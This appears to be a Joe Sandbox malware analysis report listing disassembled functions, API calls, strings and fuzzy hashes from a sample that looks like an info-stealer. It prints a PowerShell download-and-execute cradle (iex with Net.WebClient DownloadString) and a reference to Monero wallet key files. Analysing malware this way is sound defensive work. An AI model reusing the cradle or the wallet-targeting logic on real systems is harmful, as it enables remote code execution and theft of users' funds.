Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: aa14fb1515cc2118c41af410f4272379c7c081730a75c443ff0ce302b72500c0
Instruction ID: 2fac6cf57b9122ea4d721c6df75dea1ba41c7f0178a358cbbe1287f495c4cf49
Opcode Fuzzy Hash: aa14fb1515cc2118c41af410f4272379c7c081730a75c443ff0ce302b72500c0
Instruction Fuzzy Hash: AC419C71D103089ADB14FBA0C896FEDBFB8AF14300F508599E116B61D1DF746A8ACF91

Function 6CB074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB07526
__Init_thread_footer.LIBCMT ref: 6CB07566
__Init_thread_footer.LIBCMT ref: 6CB07597

Strings

UnmapViewOfFile2, xrefs: 6CB07552
kernel32.dll, xrefs: 6CB07557

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 4dc0540afac9bfc313b4297aaf62290f6fa1190a1fecea86d8a312bb5e8bfab1
Instruction ID: 869fd2149791bb91ac4568c8d88b46263912af0feda4cc579671ae5bf9a822dc
Opcode Fuzzy Hash: 4dc0540afac9bfc313b4297aaf62290f6fa1190a1fecea86d8a312bb5e8bfab1
Instruction Fuzzy Hash: C92137357005D097CB148FA9C914EAD7B76EB46335F010528D40A67B40C779AC068692

Function 6CB0C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB0C0E9), ref: 6CB0C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB0C437
FreeLibrary.KERNEL32(?,6CB0C0E9), ref: 6CB0C44C

Strings

ntdll.dll, xrefs: 6CB0C413
NtQueryVirtualMemory, xrefs: 6CB0C431

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b9d855f315649c76912e047a4d20f6d701fadc77ef8df30a139a3cf884d68881
Instruction ID: 86adbcfbbdba4a853880b26aa9ab6c2cdd45c1d1bd4f5ee89f882aadd85f685c
Opcode Fuzzy Hash: b9d855f315649c76912e047a4d20f6d701fadc77ef8df30a139a3cf884d68881
Instruction Fuzzy Hash: 54E09278605351DBEF007B71CA18735BFF8F70A656F04451AEA059BA05EBBCC4018A52

Function 6CB075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB0748B,?), ref: 6CB075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB075D7
FreeLibrary.KERNEL32(?,6CB0748B,?), ref: 6CB075EC

Strings

ntdll.dll, xrefs: 6CB075B3
RtlNtStatusToDosError, xrefs: 6CB075D1

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 49a2a8b77f0d6bca170494c7e22f80e1de9afea93587461470440d14cc341cd3
Instruction ID: 9075482dcefe47568a1c8dbbbe4d3a769a9201412f6b885b2f1579dd979aed14
Opcode Fuzzy Hash: 49a2a8b77f0d6bca170494c7e22f80e1de9afea93587461470440d14cc341cd3
Instruction Fuzzy Hash: CCE0B675700355ABEF006FA2C848B717FF8EB16219F104429AD46D3620EBBC8482CF52

Function 00AF9E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00AF9F41

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

@, xrefs: 00AF9EF1
ERROR_RUN_EXTRACTOR, xrefs: 00AF9E67
v20, xrefs: 00AF9E21
v10, xrefs: 00AF9EA3

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: ba13c10ca639312e89c429dee05aca5efa9285f499171fffabea9ffb9ca59422
Instruction ID: ae68571d06e03e56bbc9eff160584df71998252df179b01a6d0335a1c790d687
Opcode Fuzzy Hash: ba13c10ca639312e89c429dee05aca5efa9285f499171fffabea9ffb9ca59422
Instruction Fuzzy Hash: 19614E70A1030CEBDB14EFA4DD96FEE77B5AF54304F408458FA0A5B291EB706A45CB52

Function 6CAA4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAA4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAA4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAA4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAA4F1E

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 3f30dddd856e2608a335228fc41e4dbd761eb72e83b4601d4f7a7ebc2421848a
Instruction ID: e79f9ea7099aee950446c7ace10d7d0a239b2bf879f5311514fec0b565bc2774
Opcode Fuzzy Hash: 3f30dddd856e2608a335228fc41e4dbd761eb72e83b4601d4f7a7ebc2421848a
Instruction Fuzzy Hash: 6241D0716087419FC711CFA9C88099BB7F4BF89344F149A2DF46687B41DB30E99ACB91

Function 6CAB1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CAB152B,?,?,?,?,6CAB1248,?), ref: 6CAB159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAB152B,?,?,?,?,6CAB1248,?), ref: 6CAB15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CAB152B,?,?,?,?,6CAB1248,?), ref: 6CAB15E7
free.MOZGLUE(?,?,?,?,?,?,6CAB152B,?,?,?,?,6CAB1248,?), ref: 6CAB1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CAB152B,?,?,?,?,6CAB1248,?), ref: 6CAB1637

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 16df97b87f652ea0b82b38066457cd558d170e007c2b193f2adfd76f702b4384
Instruction ID: e3cce85b1ed7f8b4b96522b9cd3bd5a8f48fe692b68243375affa0aa3ec1ab24
Opcode Fuzzy Hash: 16df97b87f652ea0b82b38066457cd558d170e007c2b193f2adfd76f702b4384
Instruction Fuzzy Hash: AE31D872A001158BC7188E7CD9518BE77ADBB853647280B2DE523EBBD4EB30D9548791

Function 6CAAB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CAAB532
moz_xmalloc.MOZGLUE(?), ref: 6CAAB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAAB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CAAB57E
free.MOZGLUE(00000000), ref: 6CAAB58F

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 0a969b169be1fd94523d1fa4826a2fdf774d7d83e49adc2884d9957f0e086c3e
Instruction ID: e373ca0573abc01cd86d499b3bd2fc138fe8f1ac21bbe7c115e35772e8ef690c
Opcode Fuzzy Hash: 0a969b169be1fd94523d1fa4826a2fdf774d7d83e49adc2884d9957f0e086c3e
Instruction Fuzzy Hash: AD210A71A0020A9BDB008FA4DC40BBEBBB9FF46314F284129E919DB341E736D956C7A1

Function 00B06920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00B0696C
sscanf.NTDLL ref: 00B06999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B069B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00B069C0
ExitProcess.KERNEL32 ref: 00B069DA

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8cbb200d59cca25b86698f3912d04f55b959108e2f81227103d4326e97231c48
Instruction ID: c592f9ae6debef8b358f8c854a5ba1fc4fdad973720448ee5e10f3aba06090db
Opcode Fuzzy Hash: 8cbb200d59cca25b86698f3912d04f55b959108e2f81227103d4326e97231c48
Instruction Fuzzy Hash: 0C21CBB5E14209ABCF04EFE8D945AEEBBF5FF48300F04856AE406E3250EB345615CBA5

Function 6CACD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CADCBE8: GetCurrentProcess.KERNEL32(?,6CAA31A7), ref: 6CADCBF1
Part of subcall function 6CADCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAA31A7), ref: 6CADCBFA

EnterCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CADD1C5), ref: 6CACD4F2
LeaveCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CADD1C5), ref: 6CACD50B

Part of subcall function 6CAACFE0: EnterCriticalSection.KERNEL32(6CB2E784), ref: 6CAACFF6
Part of subcall function 6CAACFE0: LeaveCriticalSection.KERNEL32(6CB2E784), ref: 6CAAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CADD1C5), ref: 6CACD52E
EnterCriticalSection.KERNEL32(6CB2E7DC), ref: 6CACD690
LeaveCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CADD1C5), ref: 6CACD751

Strings

MOZ_CRASH(), xrefs: 6CACD4BB

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: db4119635228df5c9bbedaad86d65499adaaccfb0bb214b833b565e628580a6b
Instruction ID: 6aa7308814ed828ccf4e0754a1e336e8eb9561df132ee66913d065ae76a0cc38
Opcode Fuzzy Hash: db4119635228df5c9bbedaad86d65499adaaccfb0bb214b833b565e628580a6b
Instruction Fuzzy Hash: CD510171B04B418FD314CF29C19066AB7E5FB89318F554A2ED5AAC7B84DB74E884CB82

Function 6CAFB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAE3EBD,6CAE3EBD,00000000), ref: 6CAA42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CAFB127), ref: 6CAFB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CAFB4E4

Strings

pid:, xrefs: 6CAFB4DE

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: ef405c4136359eb43cd3f6a049be7b3a0601268f156c651f72de24643361cc94
Instruction ID: bd23c15f1cad9aca740dacf97f3ee48e1608986643f0e2435a246d8abb4aafbc
Opcode Fuzzy Hash: ef405c4136359eb43cd3f6a049be7b3a0601268f156c651f72de24643361cc94
Instruction Fuzzy Hash: 1F312A31A01204CFDB00DFA9E980AEEB775FF05319F580619E46267A41D735E8CACBE1

Function 00B06630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00B06663

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

ShellExecuteEx.SHELL32(0000003C), ref: 00B06726
ExitProcess.KERNEL32 ref: 00B06755

Strings

<, xrefs: 00B066D9

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: f68536779019cd5bfc1c2f25b41008777fda85b189df0103e38b5d1107bc37b2
Instruction ID: 1038cd710ba5033a95f00f1c5a65b6ca9e4d1f419dfd2a88d0ce4b238dfe0475
Opcode Fuzzy Hash: f68536779019cd5bfc1c2f25b41008777fda85b189df0103e38b5d1107bc37b2
Instruction Fuzzy Hash: 4D314DB1901308AADB14EB54DC81FDEBBB8AF14300F405589F249A61D1DF746B48CFA6

Function 00B087C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00B10E28,00000000,?), ref: 00B0882F
RtlAllocateHeap.NTDLL(00000000), ref: 00B08836
wsprintfA.USER32 ref: 00B08850

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Strings

%dx%d, xrefs: 00B08847

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
